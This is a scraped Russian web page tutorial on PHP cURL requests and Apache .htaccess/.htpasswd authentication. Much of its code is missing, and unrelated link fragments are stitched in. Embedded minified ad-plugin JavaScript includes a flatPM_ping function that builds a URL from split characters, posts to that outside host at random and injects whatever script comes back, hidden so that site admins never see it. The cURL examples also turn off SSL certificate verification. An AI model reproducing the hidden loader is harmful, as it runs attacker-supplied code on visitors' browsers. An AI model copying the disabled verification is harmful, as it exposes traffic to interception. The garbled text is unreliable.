Запросы cURL в php | Примеры POST, GET, PUT, PROXY и другие

Get запросы curl в php

Или можно использовать аналог через функцию file_get_contents():

Oauth авторизация

Если на сайте реализована работа с OAuth протоколом авторизации, который позволяетвыдать права на действия, которые сам сайт сможет производить на другом ресурсе отлица, авторизовавшегося и давшего это разрешение, пользователя, тогда запрос cURL в php будет выглядеть следующим образом:

Php – apache – с помощью curl, как отправить пароль пользователя во всплывающем окне htpasswd? – web-answers

“:’

‘:””,document.createElement(“div”),c=ff(window),b=ff(“body”),g=void 0===flatPM_getCookie(“flat_modal_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” a.ID “_mb”),i=”scroll.flatmodal” a.ID,m=”mouseleave.flatmodal” a.ID ” blur.flatmodal” a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&”true”==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie&&g&&(flatPM_setCookie(“flat_modal_” a.ID “_mb”,!1),ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l()),void 0!==a.how.popup.cookie&&”false”==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”]’).addClass(“fpm_5_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ p “

“),w=document.querySelector(‘.fpm_5_modal[data-id-modal=”‘ a.ID ‘”] .fpm_5_modal-content’),flatPM_setHTML(w,e),”px”==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&”true”==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(–e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.fpm_5_out[data-id-out=”‘ a.ID ‘”] .fpm_5_cross’,function(){flatPM_setCookie(“flat_out_” a.ID “_mb”,!1)})),void 0!==a.how.outgoing.cookie&&”false”==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=a.how.outgoing.indent?’ style=”bottom:’ a.how.outgoing.indent ‘px”‘:””,p=”true”==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&”true”==a.how.outgoing.timer?’

Закрыть через ‘ a.how.outgoing.timer_count “

“:’

‘:””,c=ff(window),h=”scroll.out” a.ID,m=”mouseleave.outgoing” a.ID ” blur.outgoing” a.ID,g=void 0===flatPM_getCookie(“flat_out_” a.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” a.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(a.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ p “

“);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=”‘ a.ID ‘”]’);flatPM_setHTML(w,e),”px”==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&”true”==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.fpm_5_out .fpm_5_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.fpm_5_modal .fpm_5_cross”,function(){ff(this).closest(“.fpm_5_modal”).removeClass(“fpm_5_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),ff(“[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)”).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(“div”)),r=(d.exec(e)||[“”,””])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,”<$1>”) r[2],n=r[0];n–;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,166);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “r” “e” “a” “d” “o” “n” “e” “.” “r” “u” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,r=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’

‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘

‘);var t=e.closest(“.fpm_5_video”);flatPM_setHTML(t[0],n),e.find(“.fpm_5_video_flex”).one(“click”,function(){o(this).addClass(“show”)})}),o(“body”).on(“click”,”.fpm_5_video_item_hover”,function(){var e=o(this),t=e.closest(“.fpm_5_video_flex”);t.addClass(“show”);var a=t.find(“.fpm_5_timer span”),r=parseInt(l),n=setInterval(function(){a.text(–r),r<=0&&(clearInterval(n),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.fpm_5_video_flex .fpm_5_cross”,function(){o(this).closest(“.fpm_5_video_flex”).remove(),”true”==i&&o(“.fpm_5_video_flex”).remove()})};

Post запросы curl в php

Функция file_get_contents() так же умеет отправлять POST запросы. Для этого нужно использовать заголовки:

Авторизация через .htaccess

У сервера apache есть возможность сделать базовую авторизацию. Чтобы закрыть директорию, в неё нужно поместить два файла – .htaccess и .htpasswd.

AuthName "Authorization" – сообщение в окне ввода логина и пароля, кириллица не поддерживается, в Google Chrome вообще не выводится.

Похожее:  Ответы: Как войти в личный кабинет Touch Bank? |

AuthUserFile /путь_до_директории/.htpasswd – путь до файла с паролями.

Чтобы узнать полный путь к директории достачно поместить в неё PHP файл и запустить его в браузере.

Авторизацией можно закрыть только определенные файлы, например архивы ZIP.

На некоторых хостингах авторизация на статические файлы (изображения, шрифты и т.д.) может не работать т.к. они отдаются через Nginx.

Стоит проверить прямой доступ к самим файлам .htaccess и .htpasswd из браузера, если да, то закрыть его:

В файле хранится пары логина и хеша пароля, например:

admin:$apr1$TCrF2kqA$TSMYziwt.qCkrct9yx4vv1

Логин может содержать латинские буквы, цифры, - и _, регистрозависимый.

Хеш можно сгенерировать в PHP, возможны следующие алгоритмы:

В настоящее время считается очень безопасным, работает начиная с версии 2.4, формат:

$2y$ или $2a$ результат алгоритма crypt_blowfish.

function bcrypt($password)
{
	$rounds = 12;
	$salt = sprintf('$2a$d$', $rounds) . substr(str_replace(' ', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22);
	return crypt($password, $salt);
}

echo bcrypt('123456'); // $2a$12$dMHIiiPfeSMxqj3/Wt1.z.Mo7NPza1x/WANl7hDXZJzxxKKorz5um

Специфический алгоритм Apache (1000 итераций MD5 случайной соли и пароля), работает во всех версиях.

$apr1$ результат алгоритма.

function crypt_apr1_md5($password)
{
	$salt = substr(str_shuffle('abcdefghijklmnopqrstuvwxyz0123456789'), 0, 8);
	$len = strlen($password);
	$text = $password . '$apr1$' . $salt;
	$bin = pack('H32', md5($password . $salt . $password));
	for($i = $len; $i > 0; $i -= 16) {
		$text .= substr($bin, 0, min(16, $i));
	}
	for($i = $len; $i > 0; $i >>= 1) {
		$text .= ($i & 1) ? chr(0) : $password{0};
	}
	$bin = pack('H32', md5($text));
	for($i = 0; $i < 1000; $i  ) {
		$new = ($i & 1) ? $password : $bin;
		if ($i % 3) {
			$new .= $salt;
		}
		if ($i % 7) {
			$new .= $password;
		}
		$new .= ($i & 1) ? $bin : $password;
		$bin = pack('H32', md5($new));
	}
   
	$tmp = '';
	for ($i = 0; $i < 5; $i  ) {
		$k = $i   6;
		$j = $i   12;
		if ($j == 16) $j = 5;
		$tmp = $bin[$i] . $bin[$k] . $bin[$j] . $tmp;
	}
	$tmp = chr(0) . chr(0) . $bin[11] . $tmp;
	$tmp = strtr(
		strrev(substr(base64_encode($tmp), 2)),
		'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /',
		'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
	);
 
	return '$apr1$' . $salt . '$' . $tmp;
}

echo crypt_apr1_md5('123456'); // $apr1$h9j4azoy$unmKNqjZlRfZv5xRetm9p1

Работает только на Unix хостингах и до версии Apache 2.2.17. Ограничивает длину пароля до 8 символов. Считается небезопасным.

Этот алгоритм небезопасен по современным стандартам, работает во всех версиях.

{SHA} результат SHA-1 (бинарная строка из 20-ти символов) закодированный в Base64.

Реквизиты доступа к закрытой директории можно передать в URL:

Похожее:  Передать показания счетчика за свет Арзамас (ТНС энерго)

https://логин:пароль@example.com/path

Если такие URL использовать в src изображений, скриптов и стилей, то работать они не будут, вызвав ошибку:

Subresource requests whose URLs contain embedded credentials (e.g. `https://user:pass@host/`) are blocked.

Завершение сеанса происходит по закрытию браузера, но не вкладки. Другого варианта не предусмотрено.

В PHP можно отследить авторизированного пользователя по переменным массива $_SERVER.

Если их нет, значит пользователь не авторизирован. Вывести диалог входа из PHP:

До php 5.5

$ch = curl_init('https://example.com');  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, array('photo' => '@' . __DIR__ . '/image.png'); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$html = curl_exec($ch);
curl_close($ch);

С PHP 5.5 следует применять CURLFile.

$curl_file = curl_file_create(__DIR__ . '/image.png', 'image/png' , 'image.png');

$ch = curl_init('https://example.com');  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, array('photo' => $curl_file));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$res = curl_exec($ch);
curl_close($ch);

Также через curl можно отправить сразу несколько файлов:

$curl_files = array(
	'photo[0]' => curl_file_create(__DIR__ . '/image.png', 'image/png' , 'image.png'),
	'photo[1]' => curl_file_create(__DIR__ . '/image-2.png', 'image/png' , 'image-2.png')
);

$ch = curl_init('https://example.com');  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $curl_files);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$res = curl_exec($ch);
curl_close($ch);

Ещё файлы можно отправить методом PUT, например так загружаются файлы в REST API Яндекс Диска.

$file = __DIR__ . '/image.jpg';
$fp = fopen($file, 'r');

$ch = curl_init('https://example.com');
curl_setopt($ch, CURLOPT_PUT, true);
curl_setopt($ch, CURLOPT_UPLOAD, true);
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($file));
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);

Запрос через proxy

Когда нужно сделать запрос, подменив при этом источник запроса на промежуточный адрес, то используйте опцию PROXY:

Методом ftp

Не смотря на то, что в PHP есть библиотека для работы с FTP, все же cURL также позволяет работать по этому протоколу напрямую.

Мульти запросы curl в php

Обычно в скрипте PHP выполнение запросов cUrl производится последовательно, то есть друг за другом. Пока не вернется результат предыдущего запроса, новый не выполнится.

Одной из самых важных особенностью cURL в PHP является возможность осуществлять несколько асинхронных запросов одновременно.

Похожее:  Меню | Личный кабинет | Официальный сайт Триколора — оператора цифровой среды

Например, если нужно собрать независимые друг от друга данные с разных сайтов, то можно организовать их параллельный сбор. Можно также произвести несвязанные вычисления или обработку данных через асинхронные запросы к скриптам в отдельных файлах.

Эта особенность позволяет оптимизировать работу скрипта и сократить время его выполнения.

Функция curl_multi_exec() многократно вызывается в цикле с постусловием, где параметр $running имеет значение количества активных соединений.

Чем больше обработчиков в параллельной работе, тем больше сокращается время выполнения скрипта, поэтому нелишним будет внедрить привычку использовать эту возможность cURL в своих скриптах.

Отправить и получить cookie

Для сохранения куки в файле необходимо указать путь к этому файлу в соответствующих параметрах CURLOPT_COOKIEFILE и CURLOPT_COOKIEJAR.

Параметр CURLOPT_COOKIE используется для принудительной передачи значения куки:

Отправка curl запроса php

Формирование cURL запроса состоит из четырех этапов:

  1. Инициализация
  2. Указание параметров
  3. Выполнение команды и получение результата
  4. Освобождение памяти

Итак, как это должно выглядеть в коде:

Этапы 1,3 и 4 типовые для всех типов запросов. А на этапе 2, в зависимости от указанных параметров, как раз и формируется тот или иной тип запроса.

Отправка файлов на другой сервер используя curl

Есть несколько вариантов передачи файлов между серверами.

Получение информации о запросе curl

Чтобы получить исчерпывающую информацию о самом запросе используется функция curl_getinfo(). Главным образом эта информация полезна для отладки работы скрипта, в котором выполняются cURL запросы.

Функция возвращает данные в виде массива со следующими ключами:

Скачивание файлов

При передаче указателя на открытый файл в параметре CURLOPT_FILE результат выполнения скрипта записывается сразу в файл.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 4,00 из 5)
Загрузка...

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector